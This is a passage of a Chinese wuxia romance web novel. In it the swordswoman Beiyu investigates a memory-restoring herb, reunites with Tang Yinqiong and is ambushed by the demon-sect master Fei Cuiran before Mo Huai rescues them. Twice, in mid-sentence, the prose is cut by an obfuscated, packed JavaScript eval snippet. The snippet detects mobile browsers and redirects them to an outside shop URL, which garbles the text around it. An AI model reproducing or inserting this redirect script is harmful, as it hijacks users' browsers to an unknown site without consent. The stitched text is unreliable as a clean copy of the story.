北羽惊讶,“你不趁机卖了我?” 兰常侍睁眼说瞎话,“我中了你的毒,怎么会出卖你。” 北羽更惊讶了,这人竟然尝不出山楂丸的味道! 没办法,她只能先躲起来,不过,她没有躲进柜子里,而是选择躲在一处死角,随时准备破窗而出。 兰常侍来到院子里,辰雪雪对身旁内监道:“你不是说住了两个人。” “圣女大人,我哥哥正巧因为节食过度昏过去了,此刻在屋内歇息。”兰常侍弱弱道。 辰雪雪往屋里扫了一眼,很有礼数,没有硬闯。 “这么晚了,你不睡觉,反而在吃饭?” “哥哥突然晕过去,我手忙脚乱地照顾他,一累就饿了。”兰常侍不善撒谎,笨拙地转移话题,“圣女大人,你饿不饿,我也可以给你煮一碗。” “嗯?” 辰雪雪愣了。 韩飞鸿瞬间变脸,训斥道:“你胡言乱语什么呢!” 辰雪雪细致地瞧了瞧兰常侍,他肌肤如玉,杏眼圆圆,小猫崽儿一样的漂亮,辰雪雪恰巧也养猫。 她去屋里随便转了一圈,便领着韩飞鸿走了。 韩飞鸿不解道:“雪雪,那道消失的人影,分明就是从葳蕤轩出来的,怎么不仔细搜搜?” “是出来的,不是进去的,那人已经走了。兰常侍一副蠢样,胆小如鼠,总不至于抓他下大狱吧。” 韩飞鸿哼了一声,他还不知道辰雪雪的小心思,“你是看上他了吧,他可是陛下的人。” 辰雪雪漫不经心道:“一个男人而已,我只要一提,陛下随手就赏给我了。” 此刻天空微微泛白。 天要亮了,这一夜的惊险与故事,即将结束了。 葳蕤轩里,北羽真诚地跟兰常侍道谢。 “多谢你帮我,之前我给你吃的是山楂丸,没毒的。” “我知道。”兰常侍笑了一下。 北羽更不好意思了,“我闯进你的院子,把你哥哥打晕了,你还愿意帮我。” 兰常侍微红脸,道:“深宫寂寞,我很久没有见过其他人了,今夜有幸碰上大侠,权当做了一场新奇的梦。 大侠放心,我不会把你来过这里的事,说出去的。” 北羽抱拳道:“兰小弟,你真是太讲义气了。” “那大侠临走前,可以随便送我点什么吗?”兰常侍道。 “啊?”北羽愣住,“我身上没什么值钱的东西。” 兰常侍连忙道:“不用多贵,我觉得……那个就挺好的。” 他害羞地指向残仙剑的剑穗。 北羽想了想,她没有在南境人面前展示过残仙,也就无人识得这枚剑穗是她的,况且,这枚剑穗也不是她最喜欢的那几个,送出去无所谓。 于是,她解下剑穗,递给兰常侍。 兰常侍小心翼翼收好,说道:“大侠,再见。” 他说这话的神态,尤其像一个人。 北羽想起天枢城的日与月。 每当她要回学宫,莫淮就会说,北羽,再见。而她和莫淮总会再相见,也许是明天,也许是后天。 可她不会再入南境后宫,与兰常侍何来再见。 北羽朝兰常侍摆手告别,趁着天未亮,抓紧离开了皇宫。 这一夜的故事彻底结束了。 40. 卷二·南境演武 乾元城的大街小巷都透着古朴的气息,这是一座老城,人却是一代一代,生生不息。 一连十天,北羽的身影出没在街头巷尾,忽隐忽现,奔波寻人。 她不是打听月冷花的消息,就是去乾元城西找南戏霖留下的标记。 最后,月冷花没找到,南戏霖也没有找到。 南戏霖在城西只留下了性命无忧的标记,没有透露他的藏身之处。 北羽十分沮丧。 找不到月冷花在她意料之中,却不曾想南戏霖也躲着她。 她靠在冰凉的虎头石墩上,静静发呆。 有些人受伤了,喜欢有人陪,有些人受伤了,喜欢一个人待着。她知道南戏霖是后者,但她还是想见见他。乾元城这么大,她却没有第二个朋友。 余梁桥上人来人往,个个行色匆匆。 倏然之间,北羽想起莫淮。 天枢城也很大,莫淮认识的人更少得可怜,一开始,他只认识她一个,但那时她沉浸在试剑大会中,很久才去看他一回。 莫淮的心情,又是怎样的呢? 那夜小树林里她冒然的一吻,会不会让他辗转反侧,寝食难安。 想到这里,北羽忽然一笑,感觉自己有点坏。 可这抹笑容,立即消失了,因为她现在身处南境,离北境十万八千里远。 冬日阳光将她的影子拉得老长,像长条黑年糕。 穿过天桥底下时,北羽依稀听见说书声,她挤到说书摊子前头,青衣棉袄的妇人嘴中正滔滔不绝。 “天南地北往来的客人们停一停,听我魁老三给诸位讲一讲,前月东海鸿光现,十大名剑吟风剑它有了主!” “黑袍玉身少年郎,纵身跃入风吟谷,万千玄风割肉片,少年竟无畏也无惧。千百人中夺魁首,吟风宝剑它到了手,魔教护法三挽留,少年他一去不回头!” 北羽大吃一惊,吟风剑竟然有了主人! 要知道风吟谷里的旋风无比厉害,连一只苍蝇飞进去都被会割成十八片。 多年来,无数人想取吟风剑都失败了。 哪怕是羽化高手,哪怕是当年的雪颂剑圣,也无法深入风吟谷的谷眼。 周遭的听众对此也是惊叹不已。 “这位取走吟风剑的少年,实在厉害,来日定成大气候。” “传闻,魔教左护法的弟子李传芳也去取剑了,却没抢过那名少年。这位吟风剑的主人连魔教势力也不怕,估计大有来头。” “是啊,也不知是哪位高人弟子,门派传人。” 北羽也好奇,江湖中无数高手挂念许久的吟风剑,到底被什么人取走了。 一股视线投来,北羽敏锐察觉,斜目扫去,那抹视线随之消失。 她眼珠一转,动身去向人烟稀疏的地方。走了一会,北羽确定有人在跟踪自己,于是拐进一条巷子,跃上墙头,等着那人自投罗网。 一抹身影浮现,北羽跳下去,将剑鞘架在来者脖子边,摆出很凶的架势,“你是谁?竟敢来跟踪我,不要命了吗!” “……” 披着斗篷的人默不作声。 北羽:“你是哑巴吗?” 突然,一道剑风从斗篷人腰间射出,两人皆是一惊,火速拉开距离。 残仙出鞘,挡住剑风。 凌厉剑风化为缕缕清风,拂过北羽鬓边。 宽大的斗篷扬起,黑衣少年躲在斗篷阴影下,看不清样貌身形,他按住腰间暴动的佩剑,错愕地瞅了北羽一眼,转身就跑。 北羽追上去,“打了人还想走!给我站住!” 她轻功无双,奈何黑衣少年精得很,扎进人潮汹涌的大街,将斗篷一扔,再不见踪影。 街道拥挤,北羽抬脚狠狠跺了下布斗篷,她就不该来乾元城,这个地方不仅没有朋友,甚至遍地是敌人。 下次再叫她碰上这个小贼,有他好看的! …… 年关在即,四方馆也开始布置,然而,这里热闹也与北羽无关。 自打她得罪了天心女帝,馆里的人对她唯恐避之不及,唯一愿意跟她说话的是厨子,问她吃什么。 北羽不情不愿地踏进四方馆的大门,等候许久的金典丞迎上前,笑容满面道:“北小姐,您可算回来了。” “哟,金大人最近不都躲着我走嘛,今天怎么转性了?”北羽没有停下,继续往她居住的清心苑走去,金典丞迈着小短腿跟在她后面。 “北小姐是学宫贵客,下官不敢轻易打扰您,只是两个时辰前,有人来拜访您,不知是哪位贵人,下官惶恐啊。” 金典丞受了上面的命令,近来刻意冷落北羽,如今忽然来了个看着就身份不凡的外客,他担心是否学宫听到风声,派人来敲打。 北羽是个不为难人的脾气,但学宫其他人就不一定了。他只是乾元城一个芝麻官,哪里敢得罪昔日的天下三宫之一。 “拜访我?男的女的,长什么样?” “是一位公子,生得气宇不凡,仪表堂堂。” 人生地不熟的,谁会来拜访她?肯定不是学宫的弟子,否则她早收到信了。 金典丞殷勤推开清心苑的大门,北羽朝里看去,苑内依旧寂静,北羽找了一圈,无论是她的厢房还是其余的空房间,都没有人在。 “金大人,你口中的公子在哪呢?”她摊手问道。 “啊……这……那位公子确实指名道姓来见您。”金典丞纳闷道,“那位公子穿了身褐色华服,脸上戴了半截金面具,看起来十分威严,我同他讲话,他理都不理的。” 北羽并不认识这号人物,便道:“年关渐近,乾元城来了很多人,鱼龙混杂,金大人要多加防范。四方馆招待各国来宾,也算是个重要的地方,别什么人都往里迎。” 金典丞尴尬点头,他一贯谨慎小心,今天也是一时被那人气势震住才犯糊涂。 三言两语打掉金典丞后,北羽回到屋里,提起茶壶想倒杯水喝,茶盘上赫然放着一张纸条——今夜丑时三刻,城西百花楼见。 ……莫非是那个来拜访的人留下的? 她怎么可能大半夜去见一个陌生人。 想到有个来历不明的家伙进了她的屋子,北羽就不舒服,拿着剑将清心苑里里外外搜查了一番,确定没有多什么东西,也没有少什么东西。 日头西斜,丰盛的菜肴被仆人送来。 北羽没有胃口,只觉得身上乏,搂着残仙剑上了榻,迷迷糊糊睡了过去。 香炉中烟雾袅袅,勾勒出模糊的梦境。 周遭一片黑暗,尖锐刺耳的哭声持续响起。 “闭嘴!别哭了!” “她只是个孩子,怕了当然就哭。” “你为什么不打晕她!” “祭司说了,一会举行仪式的时候,她必须醒着。” “烦死了!” 两道声音像罩了一层布,北羽几乎听不出分别,也听不出是谁。 奇怪,她已经意识到在做梦了,为何没有醒来。 忽然,她的嘴里弥漫开甜意。 黑暗褪去,彩色涌入,眼前景物依然蒙纱般朦胧,衣衫雪白的男子平静注视着她。 她看不清男子的长相,只能看出这个白衣男子非常年轻,似乎仅有十几岁,水嫩得像根葱,指尖捏着的糖果气味格外香甜。 “这样她就不哭了。” “小孩这么好哄?” 旁边的男人凑过来,北羽刚把目光投向他,身子就猛地一坠,惊醒过来。 窗外风声呼啸,又有零星鸟叫,无端凄凉。 北羽缓了一口气,浑身燥热,伸手摸向额头,竟然缀满汗,陌生却隐隐熟悉的古怪梦境,使她的心跳得很快。 忽然来了个神秘访客,忽然留下个半夜邀约,忽然她就做了个噩梦,不对劲,这一切都不对劲。 北羽打量屋内,她一没吃饭,二没喝水,如果有人动手脚,那只剩下…… 她端起一盏茶,泼灭香炉。 香灰之中,埋着一截未燃尽的草茎。 ……果然是中招了,乾元城怎么这么多阴她的家伙。 北羽只认识一些疗伤止血的普通药材,分辨不出这株闻着像薄荷的草茎,究竟是什么。 既然对方直接找上门,还是查清楚的好。 北羽出门,去到最近的药铺。 头发花白的老医师对着草茎看了半天,最终摇头道:“老朽也不认识这味草药,依我看,姑娘可以去街东头的百汇药铺碰碰运气。” “那家店是西海药商开的,西海商人喜欢去各国各地做生意,见识多些。” “行,谢谢您了。” 天色渐晚,路上行人稀疏。 百汇药铺的铺面不大,药材摆放与寻常药铺相比更整洁,半眯眼的学徒在柜台昏昏欲睡,北羽喊了他一声。 学徒打了个哈欠,“姑娘,范大夫出诊去了,看病的话您去别家吧。至于抓药,近来我们家的药价特别贵,我呢也劝您去别家。” 西海人做生意真是不同凡响,送上门的买卖都往外推。 “这位小哥我是来问一味草药的,如果你能帮我查出来,呐,它就是你的。” 北羽将光泽闪亮的银元宝搁在柜台上,学徒的眼睛跟着亮起来,溜溜一转,“姑娘,您运气真好!后院正巧歇着一位见多识广的医师,我替您去问,您等我!” 他掀开后面门帘跑进去。 北羽耐心等待,一炷香的功夫没了,学徒还未归来。 又过了一炷香的功夫,银元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491637|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝都塌成银饼子了,学徒还是不见踪迹。 北羽有点坐不住。 又过了一盏茶的时间,她彻底失去耐心,冒昧地去了门帘后面。 穿过走廊,小店铺的后院竟十分宽阔,她刚靠近一间屋,砰地一声,连串的瓷器撞地,噼里啪啦,清脆响亮。 紧接着,是一女一男的激烈争吵。 “你神经病!你发疯!我不辞千里特意来接你,你竟然要继续去干阴沟里的行当!怎么着,觉得赘给我丢人啊!” “我没有,我只是不希望死更多人。你听我解释。” “不听!不听!你走了就再也别来找我!” 北羽尴尬顿住脚步,赶紧换了个方向。 乐声悠扬传来,玉珠散落盘,清泉击山石,脆生生的琵琶音,听着就让人舒心。 曲调很缓,很慢,像一缕白云被清风拖拽着勾勒出千万种姿态,翻云覆雨。 北羽心中大赞,好琴声! 擅音律者,以曲诉情传意。 那夜慕容楚轩的琴音,北羽听见一位金相玉质的柔情公子,今日琵琶声,她则听见滴滴答答的相思泪。 这间小药铺真是卧虎藏龙,就是不知道那名药徒去哪了。 北羽正想着,院门突然被推开,垂头丧气的学徒跟她打了个照面。 “姑娘!您怎么到这边来了?”他话刚问出口,就拍了下脑壳,“哎哟,都怪我,光顾着翻医书,忘了时辰。您久等了。” “无妨,查出来了吗?” “我……” 学徒话未说完,院内琵琶声骤停。 “北羽?!是你吗!” 这声音有点耳熟啊。 她疑惑地朝学徒身后看去,一名身着暗蓝色衣袍的少年,怀抱琵琶跑过来,俊美脸庞,剑眉入鬓,瞳色深黑,宛如墨色美玉,竟是她许久未见的西海无极宫弟子唐引琼。 北羽揉揉眼,没看错吧,唐引琼怎么会出现在这里? “好久不见,北羽!”唐引琼无比激动。 北羽有点懵,“是,好久不见了。” 自那日天枢城一别,唐引琼每月一封西海来信,再没提过喜欢她,安分守己做个笔友。 “你为何会在南境?” “师叔带我来办事。其实我早知道你在乾元城,一直想去看你,但我师叔此行专门来接人的,她担心她朋友的行踪泄漏,盯着我不让出门。” “哦哦,原来如此。” 听是私事,北羽没有多问,见到个熟人她总归高兴。 一旁的学徒惦记着银元宝,插嘴道:“公子,既然你跟这位小姐认识,不如帮她看看这是什么药材,小的翻了半天百草册也没找到。” 原本他就是来找唐引琼帮忙,谁知,唐引琼顾着弹琵琶没空理他,只好去翻药书。 唐引琼接过手帕包裹的草茎,仔细辨别后,脸色微变,“小琏,你去前面看店吧。” “是,公子。” 北羽看出端倪,“你是不是认识这味草药?” 唐引琼沉默了一下,“对,它叫唤魂草,气味很像薄荷,是一种非常罕见的药草,只生长在东海的密林里。” “有毒吗?” “……无毒,但它不应该出现在这里。” 唐引琼欲言又止,“进屋说吧。” 他领着北羽进了屋,紧闭门窗,给北羽倒了杯水,“在东海密林的深处,有一味叫忘忧草的草药,与唤魂草生长在一起,相生相克。” “用忘忧草制成的无痕汤、解忧汤可以令人遗忘某些记忆,只有服用唤魂草才能消除药效,恢复记忆。” 无痕汤? 那不是天机老人死之前,差点给她灌下去的药吗。 唐引琼:“你有没有忘记过什么?” 北羽沉思片刻,道:“十岁那年,我被歹徒绑走,后来却完全忘记了发生过什么。” “那就对了,看来,有人想让你想起来。不过,唤魂草生服的效果最好,掺在香料中燃烧,顶多让你记起一些记忆深刻的片段。” 唐引琼把唤魂草根茎放在桌上,忧心道:“这两味草药极其昂贵且鲜少人知,我也是曾经炼毒时需要用到它们,才买过一株半株。北羽,有人在暗中盯着你。” 可目的是什么? 当年的那场绑架,是东海魔教教主斐翠然为了报复她师父白发剑圣,找罗刹堂合伙干的。 参与那次绑架的人,几乎都死在她师父的剑下,除了斐翠然和罗刹堂总堂主荣烬雪。 荣烬雪前不久死了,罗刹堂因刺杀天心女帝遭到重创,不会是他们。 那就只剩魔教了。 北羽从袖中掏出那张纸条,东海的草药,威严的公子…… 难道……斐翠然来了? 41. 卷二·南境演武 斐翠然,这是一个熟悉的名字,陌生的人。 即便当年她绑架被解救后,师父也没有跟她聊过这位绑匪头子。 奈何罗刹堂的女刺客一嫁魔教教主,二嫁天下第一的故事太有吸引力了,天下人都喜欢讲它,甚至写它、演它。 北羽第一次听到这出戏的时候,简直不敢相信她师父是其中的主角,震惊到揪自己衣裳都揪错,把旁边一起听戏的玄北离的大腿给掐青了。 问题是,斐翠然已经很多年没有离开过东海,就跟她师父一样在江湖上消失了。 他上一次现身是六年前,跑去北境雪颂城跟城主李颂雪打了一架,结果回去的路上遭到仇家埋伏,据说受了重伤。 如今怎会忽然现身,直奔她来。 北羽不禁思索道:“唐引琼,一个对你有恶意且实力强悍的家伙约你见面,你会见他吗?” “不会,我又不傻。” “但是,你孤身一人在外,他主动找你,跟你主动找他似乎并无区别。” 唐引琼:“你已经知道了幕后之人是谁?” “大约吧。” 北羽在心里算起这笔帐,斐翠然是世间屈指可数的高手,但她也不差。 假如今夜不去百花楼,鬼知道,斐翠然会不会趁她睡觉偷袭,或者再给她下点东西。 东海的玩意太诡异了,她还记得曾经吃下的蛊虫馄饨,绝不想再领教。 躲起来也不是办法,斐翠然是实际意义上的东海之主,为他卖命的人多如牛毛,她不比南戏霖,专门学过藏匿之术。 万一躲起来后,再被找到,岂非很没面子。 当务之急还是写两封信,把消息传回学宫、圣剑山。 也不知今年走的什么运,敌对她的人,雨后春笋般冒头,贪图她仙骨的天机老人死了,又来了一个翻旧账的家伙。 北羽向唐引琼告辞。 眼见她碰上麻烦,唐引琼岂能坐视不理,“今日之事蹊跷,若去探究,恐怕落入陷阱,你还是待在四方馆稳妥。” “你毕竟是天心帝亲邀的贵客,真有人敢对你贸然动手,南境不好不管。” 如果没有得罪天心帝,那她也愿意暂避风头,可惜,她和天心女帝已经有了冲突,南境不会庇佑她,在四方馆也难逃一劫。 “就算明天去查,后天去查,也改变不了我势单力薄的局面。” “那我陪你一起。” 这一番好意北羽心领,有人关心比没人关心强,但她可不想连累谁。 “最近找我麻烦的人,几乎都是羽化境高手,你还是虚空境,跟着我行动太危险了。何况我怀疑幕后之人是魔教之主斐翠然。他可是个名声在外的恶霸。” 唐引琼惊讶之余,更不愿看她一个人去冒险,劝道:“虽然我不如你,但我身上的毒绝对厉害。咱们至少算朋友吧,我真做不到袖手旁观。” “我师祖是西海之主,哪怕斐翠然也惧他三分,即便动手,斐翠然也不会杀我。你有个帮手,好过孤身奋战。” 他满眼真诚,目光炽热,北羽有点招架不住。 虽然唐引琼在试剑大会上被她打了个半死,连百强榜都没进,但这并不妨碍无极宫昭告世人,唐引琼的存在。 无极宫卖力宣传之下,明眼人都知道,下一任无极宫大宫主,不是雨娉婷就是唐引琼。 她在天枢城甚至听到过,雨娉婷和唐引琼因为争权闹得不愉快的传言。 只是,如今看来,传言有误。 如果她没猜错,前院吵架的一女一男,就是雨娉婷跟阎娑风,往天心女帝寝殿一躺,倒叫她知晓了许多八卦。 罗刹堂是臭名昭著、人人喊打的杀手组织,无极宫继承人与其头目纠缠,势必引起轩然大波,动摇雨娉婷在无极宫的地位。 雨娉婷连这种事都敢叫唐引琼跟着,足见师叔侄之间的关系颇佳。 北羽衡量后谨慎道:“一旦我应付不来,你必须马上跑,千万别犯傻。” 唐引琼赶紧点头。 …… 寒风卷起一片枯叶。 远处屋顶上,一个黑影无声地落下来。他按住腰间那柄兀自低鸣的佩剑,低声道:“别急。” 剑鸣渐息,像是听懂了主人的话。 他潜入药铺后院,找到唐引琼住的院子,屋内熄灯,桌上的两杯水已经冰冷,一张纸条被随意攥成团丢在地毯上。 “丑时三刻,百花楼。” 他低声读了一遍纸条上的约定,神色若有所思。 …… 北羽办事利索,很快将写好的两封信送到学宫在乾元城的情报据点。 这两封信会在最短时间内,送到该去的地方。 曾经学宫、无极宫、星宫的耳目眼线遍布天下,你中有我,我中有你,情报互通共享。 三宫分离后,学宫麾下的百晓堂自立门户,几乎击垮了学宫的情报网。 学宫的情报据点,现在也就起一个输送作用。 南戏霖吐槽过,学宫养的那群“雀鸟”打探消息的本领加起来都比不过他。 星宫的“星雀”也垮了,无极宫负责这块九宫主伍行烈倒是个人才,但真正把控贩卖镜悬大陆各路消息的,还是神机阁、百晓堂两大巨头。 夜色深浓,北羽和唐引琼骑马去往城西,寻找百花楼。 一路问下来,竟没有人知道百花楼在哪,只有一个蹲在墙根下的瘸腿小男孩说他去过百花楼。 男孩的脸黑如木炭,个子不高,穿着不合脚的长靴,一双眼睛幽幽明亮,透着淡绿,宛如野地里的狼崽。 “你可别唬我们。”唐引琼道,“我们有急事的。” 瘸腿男孩仰头道:“二位人高马大的,难道还怕我?” 他朝北羽张开胳膊,“美人姐姐,你带我上马,我给你们指路。” 北羽不喜欢陌生人触碰自己,摆手拒绝。 瘸腿男孩笑了笑,上了唐引琼的马,他坐下的一瞬间,唐引琼衣袖上的毒纹扭曲蜿蜒,活物一样避开了瘸腿男孩。 唐引琼身子僵住。 北羽朝这边看了一眼,唐引琼勉强微笑,假装无事发生。 三个人朝月亮升起的方向策马疾驰。 北羽时不时回头瞟几眼,总觉得有人跟着她。 临近丑时,荒野之中,一栋木楼隐约现身,月亮凄惨发白,冷风咆哮,北羽感到微微凉意。 瘸腿男孩跳下马,指着木楼破旧的牌匾,百花楼三个大字,猩红醒目。 他把双手放到嘴边,对北羽小声道:“美人姐姐,小心喽。” 随后,一瘸一拐地跑进夜色,身影飘忽。 唐引琼这时才敢开口,“北羽,那个小孩是东海的蛊师,方才,他差点对我下蛊,不对,或许他根本就不是一个孩子!” 北羽蹙眉,看来,她是赴了一场鸿门宴。 北羽拔出残仙剑,一脚踹开了楼门。 与意料中不同的是,百花楼内灯火通明,比寻常酒楼更加奢华,金纱垂地,从桌椅到摆件,都精细讲究,穹顶悬挂多幅美人图。 挺漂亮的地方,不适合打架。 唐引琼顾不得礼节,抓住她的胳膊,“北羽,还是走吧。这里太危险了。” “走了又怎样。南境没有能跟斐翠然相抗的高手,有也不帮我。今天不来,我也是坐以待毙罢了。” 北羽甩开他,选了个位子坐下,我行我素的一面展露无疑。 “你陪我到这里,够仗义了。斐翠然同我和师父有仇,待会儿我和他肯定动手,你在外面等也行。” 唐引琼断然做不出临阵脱逃的举动,于是也坐下来。 他看着北羽,暗自猜测,北羽是不是有心跟斐翠然比一比,否则,换作其他刚入羽化境的人,再借一百个胆子,也不敢直面东海魔教教主。 伍师叔估计过北羽的实力,应当离武圣只有一步之遥,而剑术肯定已经达到剑圣水平。 只是,当年白发剑圣以太上忘情剑法第三式击败斐翠然,北羽才悟出第二招,实力恐怕…… “你盯着我干嘛?” 北羽歪头问道。 “呃!” 唐引琼火速转移视线,没话找话,“东海的吟风剑认主了,你听说了吗?” “嗯。”北羽颔首,“也不知何方神圣取走了它。” 见她颇感兴趣,唐引琼道:“我十三岁时,师祖曾经去过风吟谷,带着雨师叔进到谷眼,但风吟剑没有选择雨师叔。” 连无极宫天赋最高的弟子也瞧不上,吟风剑眼光够高的,北羽问,“那雨娉婷的佩剑是?” “西海魔教骨隶教的镇教之宝,如晦剑,雨师叔嫌这个剑名难听,改成了如意剑。” 如意,这倒是个不错的名号。 北羽:“可惜了,没能在试剑大会见到这一柄如意剑。” 唐引琼:“那将来举办无极大会,你来我们西海。” 北羽开玩笑,“当然,你们无极宫的无极大会若缺了我这位仙骨,怕是要贻笑大方了。” 唐引琼唇边泛起笑意,试剑大会定天下第一少年,无极大会则定天下第一。 在绝大多数人眼里,北羽就是未来的天下第一,倘若来日的无极大会缺少她,那也就失去了举办的意义。 “咚咚!咚!天寒地冻!” 一道打更声突兀传来。 丑时已到。 北羽手握残仙,蓄势待发,唐引琼指尖夹着四把飞刃,万分警惕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491638|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然,楼门处喧嚣起来。 一群人涌了进来,有男有女,却非杀手,也不是什么奇人异士。 他们披金戴银,绫罗绸缎加身,红光满面,富贵逼人,身后又有护卫随从,乌泱泱一大堆人。 顷刻间,百花楼人满为患。 互相认识的人,热络打着招呼,一起坐下,不认识的人,也能攀谈两句。 北羽搞不清状况,唐引琼把暗器收起,因为有人认出他了。 “唐公子,您老人家怎么会在这!” 大腹便便的穿貂粗犷男人凑上来,一伸手,十根手指戴了十三个戒指,宝石的、翡翠的、水晶的,火彩闪得北羽眼花,典型的西海商人打扮。 “您还记得我吗?咱们在伍家商行见过一面,您的俊美非凡,深深镌刻在小人心中啊!” 唐引琼淡淡微笑,“李四爷,想不到会在乾元城见到你。” “能再见唐公子,我之荣幸啊!”李四顺势坐到他旁边,细声道:“您为何屈尊降贵来百花楼,莫不是伍宫主授意?” “不瞒李四爷,我今夜是意外来此,劳烦李四爷解惑。” 李四挑眉,看向北羽,“这位该不会是雨小姐吧?” “我姓曲。” 北羽将残仙放到膝盖上。 唐引琼:“曲小姐乃我至交,李四爷不必见外。” “那……小人就明说了。” 李四神秘兮兮道:“东海有奇花,名为绮蓝阴司,服之可延年益寿,每年的年关前,东海商人会任意挑一座城办花会卖长生花,今年就选在了乾元城。” 随着他的讲述,百花楼的灯火接连熄灭,焰火从高台上亮起,一个白衣人手持火把,煞有其事地讲话,白衣仆人们一手捧着花盆,一手持烛台来到人群中。 翠绿的枝叶簇拥着指甲盖大小的红花,花朵竟是骷髅模样。 北羽懵了,难道不是斐翠然约的她?现在不该是她和斐翠然激战吗?怎么变成一群商人买长生花了? “呵。” 昏暗中,一声冷笑在她后颈响起。 北羽回头,她背后站了很多人,都瞪大眼看着仆人手里的骷髅花,堪称诡异的一幕。 她不由小声问唐引琼,“这玩意真能延年益寿?” 唐引琼压低声音,“骗局罢了。这花我听说过,是东海那边的骗子养育的新花种,专门唬富商的,没想到,李四这种老商户都着魔了。” “呵。” 又是一声冷笑。 北羽皱眉,“有人在我们后面冷笑。” 唐引琼转头,“是吗?我没听到。” “趴下!!!” 北羽惊呼一声,哐地把他的头往下摁。 冷风割过,唐引琼脖颈一凉,瞬间明白是有利器从他们头顶划过,连忙向上飞出暗器。 锋刃相撞,擦出火花。 同时,也引爆了人群。 更致命的是,白衣人们手中的火把熄灭了。 百花楼本就填满了人,慌乱的情绪又是最容易蔓延传播的,所有人看不清摸不见,有部分想赶紧离开,有部分想趁乱去抢“长生花”,乱成一锅粥。 拥挤混乱中,北羽本欲拉住唐引琼,不料一下子抓了好几只手,根本分不清哪个是。 她踩着桌子跃起,凭借记忆抓住悬在空中的画卷,荡秋千一般晃来晃去。 “唐引琼!唐引琼!” 漆黑楼内,尖叫、咒骂、祈求,此起彼伏,唯独没有回应她的声音。 北羽决定一剑劈开楼顶,借个月光。 岂知,刚举起剑,杀气凶煞袭来。 她挥剑挡下,被强大冲击震得手麻,这不是剑,也不是刀,是一击掌风。 嘶啦一声,画卷一分为二。 北羽直接掉了下去。 她砸进人群,接着被人群淹没。 到处都是人肉,她特别想把周围人轰开,又怕下手过重,只能拔开旁边的人,踩着不知道谁的肩膀,纵身跃到半空几次,终于又抓住一副画。 好不容易喘了口气,凶煞鬼魅的掌风又来了,阴魂不散。 这是把她当猴耍了。 “要打就打!躲阴影里装孙子算个屁!你是老鼠吗!这么见不得光!难怪我师父讨厌你,斐翠然,你就是只臭虫!” 上方传来一声冷笑。 激将法奏效,北羽毫不犹豫使出了太上忘情剑法第二式白马吟。 剑气在空中盘旋,她却没听见木头裂开的动静,借助天地自然之物的一式剑招,竟没有摧毁木头建造的百花楼。 周遭仿佛罩了个笼子,隔绝了她的剑气。 这怎么可能呢?! 斐翠然,有这么强? 42. 卷二·南境演武 黑暗使北羽看不清敌人,下面人群的吵嚷也让她无法听声辨位,可敌人却对她了如指掌,只要她一动剑,就来打她,着实可恶。 斐翠然设计了一个恶心的圈套。 打了半天,北羽甚至连他的人影都没摸到。 传闻斐翠然修炼的功法神魔策,威力无穷,如今交手,只觉得他像一抹无孔不入、无处不在的暗影。 稍微松懈,致命危险便擦肩而过。 冰冷的杀机,几次贴着北羽的胸膛脖颈滑过,北羽甚至无法全神贯注,因为她还担心唐引琼。 闹半天了,唐引琼丝毫动静也没有,千万别是死了。 此刻,百花楼仿佛海面漩涡,几百号人翻滚在黑潮中,也像一口黑锅,以焦灼为油,煎炸着人群。 北羽身处其中,难受极了。 忽然,她感觉身侧多了股风,扭头去看,剑也刺过去。 后来,哪怕回忆无数次这个瞬间,她都难抑心动。 黑暗里终于有了光,那是一点火,燃烧在一个少年手中。 他高举火把,胳膊缠着红锦,红锦本是系在楼顶金花球的装饰,按理承受不了太多重量,但少年不仅靠它撑住,怀里还搂着一个昏迷的人。 略显破旧的斗篷,探出一柄锋利明亮的长剑,剑锋染了血。 他干了北羽最想干的三件事。 百花楼破开一个大口子,冷风呼呼灌进来,把温暖吹灭,人群欣喜若狂,踏着洁白月光,逃向荒野。 穿木褐色长袍的男人也暴露在月光中,枯槁的颜色,让身形修长的男人看起来像一棵老树,裸露在外的白皙肌肤,也像树皮脱落后露出的莹白内里。 月光混着火光,亦照清楚了唐引琼的面庞。 人满为患的百花楼,顷刻间冷清,只剩下四个人。 北羽落到地面,盯着少年单薄绝美的脸,思绪万千。 这些日子,她总想起他,想着他墨黑色的披肩长发,淡淡的笑容,永远说不够的再见。 如今一转眼,他正站在她面前,有了翻天覆地的变化。 英雄救美的戏码传唱了万年,是俗套中的俗套,每每在戏台或话本中看见,北羽就会嘲笑它,然而,再俗套的桥段落到自个身上,也变了味道。 只是今夜发生的一切都不尽人意,连累了她见到莫淮的喜悦。 北羽和莫淮的眼神交织在一起,两个人刚要说些什么,就被打断了。 “吟风剑?”褐衣男看着自己左手的血痕,微微眯眼,金面具遮住他半边脸,另外半边脸,俊美无暇。 他意味不明地一笑,“果然英雄出少年,镜悬大陆这一辈年轻习武者,竟然有三个十六岁入羽化境的高手,可歌可泣呢。” “不过,首当其冲的第一位残仙北羽,实在令人失望。比起你的师父白发剑圣,你差远了。” 北羽活了十七年,从未有人贬低她的天赋,听了这话,第一个反应是不可思议,随即反嘴讥讽道:“东海魔教之主斐翠然,十六岁的时候还只是一个籍籍无名的小辈,与我比起来,他差远了。” “哎,不肯吃亏的脾气,和你师父白发剑圣一点也不像。”斐翠然摇摇头,一副很可惜的样子。 北羽一剑劈过去。 她讨厌这人提起自己师父。 